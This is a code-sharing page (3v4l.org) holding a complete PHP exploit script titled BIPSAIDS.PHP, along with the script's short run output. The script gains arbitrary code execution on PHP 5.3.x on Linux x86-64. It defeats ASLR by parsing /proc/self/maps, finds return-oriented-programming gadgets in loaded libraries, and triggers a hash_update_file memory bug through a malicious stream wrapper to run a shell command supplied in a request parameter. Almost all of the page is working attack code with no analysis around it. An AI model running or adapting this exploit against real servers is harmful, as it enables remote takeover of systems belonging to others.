3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php /* * BIPSAIDS.PHP -- by blasty <blasty@fail0verflow.com> * * PHP 5.3.x Linux x86-64 arbitrary code execution * * based on : MOPS-2010-001 (yes, bugs from 2010 live in <s>2011</s> 2012) * * NOTES: * Most distro's ship with PIE compiled httpd's these days, and everyone * seems to favour php5 as module rather than using php-cgi. This puts us * in an annoying position for doing Return-oriented-whatever. * * So the bad news is this exploit only works without restrictions against * machines that use php5-cgi and where gadgets have already been identified. * * However, the good news is if PHP doesn't enforce open_basedir restrictions * there's still a fat chance this exploit will succeed by parsing /proc/self/maps * to circumvent ASLR and identify gadgets during runtime by scanning libraries. * */ error_reporting(E_ALL); if (!isset($_REQUEST['x']) && !isset($argv[1])) die("gimme something to dance for\n"); $CMD = (isset($_REQUEST['x'])) ? $_REQUEST['x'] : $argv[1]; function ustruct($fmt, $data) { $out = array(); $pos = 0; $upack = array('u16'=>'S','u32'=>'V','u64'=>'V2'); $sizes = array('u16'=> 2 ,'u32'=> 4 ,'u64'=> 8 ); foreach($fmt as $name => $type) { $v = unpack($upack[$type], substr($data, $pos, $sizes[$type])); if ($type == 'u64') $v = ($v[2] << 32) | $v[1]; else $v = $v[1]; $out[$name] = $v; $pos += $sizes[$type]; } return $out; } function get_sections($filename) { $elf64_header = array( 'e_ident0' => 'u64', 'e_ident1' => 'u64', 'type' => 'u16', 'machine' => 'u16', 'version' => 'u32', 'entry' => 'u64', 'phoff' => 'u64', 'shoff' => 'u64', 'flags' => 'u32', 'ehsize' => 'u16', 'phentsize' => 'u16', 'phnum' => 'u16', 'shentsize' => 'u16', 'shnum' => 'u16', 'shstrndx' => 'u16' ); $elf64_sh = array( 'name' => 'u32', 'type' => 'u32', 'flags' => 'u64', 'addr' => 'u64', 'offset' => 'u64', 'size' => 'u64', 'link' => 'u32', 'info' => 'u32', 'align' => 'u64', 'entsize'=> 'u64' ); $buf = file_get_contents($filename); $hdr = ustruct($elf64_header, substr($buf, 0, 0x40)); echo "[>>] $filename\n"; $sections = array(); for($i = 0; $i < $hdr['shnum']; $i++) { $data = substr($buf, $hdr['shoff'] + ($i * $hdr['shentsize']), $hdr['shentsize']); $sections[] = ustruct($elf64_sh, $data); } $str_section = $sections[ $hdr['shstrndx'] ]; $ret_sections = array(); for($i = 0; $i < count($sections); $i++) { if (!($sections[$i]['flags']&4)) continue; $v = explode("\x00", substr($buf, $str_section['offset'] + $sections[$i]['name']) ); $sections[$i]['str'] = $v[0]; $sections[$i]['data'] = substr($buf, $sections[$i]['offset'], $sections[$i]['size']); $ret_sections[] = $sections[$i]; } return $ret_sections; } function find_gadgets($gg, $data, $base=0) { $ret = array(); foreach($gg as $name => $patterns) { if (!is_array($patterns)) $patterns = array($patterns); foreach($patterns as $pattern) { if (($pos = strpos($data, $pattern)) !== false) { $ret[$name] = $base+$pos; } } } return $ret; } function w64($v) { return pack("V", $v & 0xffffffff) . pack("V", $v >> 32); } $resolve = true; if ( ((isset($_SERVER['ORIG_SCRIPT_NAME']) && strstr($_SERVER['ORIG_SCRIPT_NAME'], "cgi") !== false) || (isset($_SERVER['ORIG_SCRIPT_FILENAME']) && strstr($_SERVER['ORIG_SCRIPT_FILENAME'], "cgi") !== false)) ) { $resolve = false; $cgirop = array( "5.3.2-1ubuntu4.10" => array(0x42c1b8, 0x42fd31, 0x42c59d, 0x65ca2b, 0x5f0758, 0x53c720, 0xd6a830, 0x096a20), "5.3.5-1ubuntu7.3" => array(0x429d4f, 0x42f3e1, 0x428c26, 0x50b22d, 0x5f0758, 0x6b1730, 0xdae7d0, 0x095260), "5.3.3-7+squeeze3" => array(0x42d478, 0x4310c1, 0x42d85d, 0x648bdb, 0x5dc538, 0x527600, 0xd5b810, 0x084970), //"5.3.8" /* ARCH */ => array(0x42544c, 0x4294ba, 0x42460b, 0x428f57, 0x427859, 0x423476, ); $v = phpversion(); if (!isset($cgirop[$v])) { echo "plz2portgadgets: ".$v."\nattempting fallback!\n"; $resolve = true; } else $addy = $cgirop[$v]; } if (!isset($addy)) { $patterns = array( 'ADDRSP' => "\x48\x83\xc4\x28\xc3", 'POPRAX' => "\x58\xc3", 'LEACALL' => array( "\x48\x8d\x7c\x24\x10\xff\xd0", "\x48\x8d\x7c\x24\x18\xff\xe0" ), 'SYSTEM' => "\x53\x48\x83\xec\x10\x48\x85\xff\x74\x16" ); $maps = explode("\n", file_get_contents("/proc/self/maps") ); $gadgets = array(); foreach($maps as $map) { $map = explode(" ", preg_replace('!\s+!', ' ', $map)); if (count($map)<2 || !strstr($map[1], "x") || $map[5][0] == '[') continue; if (count($patterns) == 1 && !strstr($map[5], "libc")) continue; $exec_sections = get_sections($map[5]); $tmp = explode("-", $map[0]); $page_offs = hexdec($tmp[0]); foreach($exec_sections as $section) { $new_gadgets = find_gadgets( $patterns, $section['data'], $section['offset'] ); foreach($new_gadgets as $name => $offs) { if (isset($patterns[$name])) { printf(" `- found gadget '%s' in [%s -> %s] @ 0x%x\n", $name, $map[5], $section['str'], $page_offs+$offs); unset($patterns[$name]); $new_gadgets[$name] += $page_offs; } } if (count($new_gadgets) > 0) $gadgets = array_merge($gadgets, $new_gadgets); if (count($patterns) == 0) { echo "!!! ALL GADGETS FOUND, LETS-A-GO !!!\n"; break 2; } } } $addy = $gadgets; } if (isset($gadgets)) { $ropvar = array('ADDRSP','POPRAX','LEACALL','SYSTEM'); for($i = 0; $i < count($ropvar); $i++) { printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $ropvar[$i] ]); $$ropvar[$i] = w64($addy[ $ropvar[$i] ]); } } else { $ropvar = array('ADDRSP','POPRAX','POPRDI','DEREFRAX','SUBRDIRAX','LEACALL','GOTENTRY','LIBCDELTA'); for($i = 0; $i < count($ropvar); $i++) { printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $i ]); $$ropvar[$i] = w64($addy[ $i ]); } } if (!isset($addy) || count($addy) != count($ropvar)) die("looks like this tech isn't compatible with your box.\n"); class evil_stream { function stream_open($a, $b, $c, &$e) { return 1; } function stream_eof() { return 0; } function stream_seek($offset, $whence) { return 0; } function stream_read($count) { global $ADDRSP, $POPRAX, $GOTENTRY, $DEREFRAX, $POPRDI, $LIBCDELTA, $SUBRDIRAX, $LEACALL, $CMD, $SYSTEM; hash_final($GLOBALS['hid'], false); $GLOBALS['a'] = str_repeat($ADDRSP, 3); // add 40, rsp if (isset($SYSTEM) && !empty($SYSTEM)) return $POPRAX . $SYSTEM . $LEACALL . str_repeat("Z", 0x58) . "WOOP ; " . $CMD . "\x00"; else return $POPRAX . $GOTENTRY . $DEREFRAX . $POPRDI . $LIBCDELTA . $SUBRDIRAX . $LEACALL . str_repeat("Z", 0x58) . "WOOP ; " . $CMD . " ; echo lol\x00"; } } stream_wrapper_register("evil", "evil_stream") || die("oh snap :(\n"); $hid = hash_init('md5'); hash_update_file($hid, "evil://code"); echo "you goofed up\n"; ?>
Output for 5.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
gimme something to dance for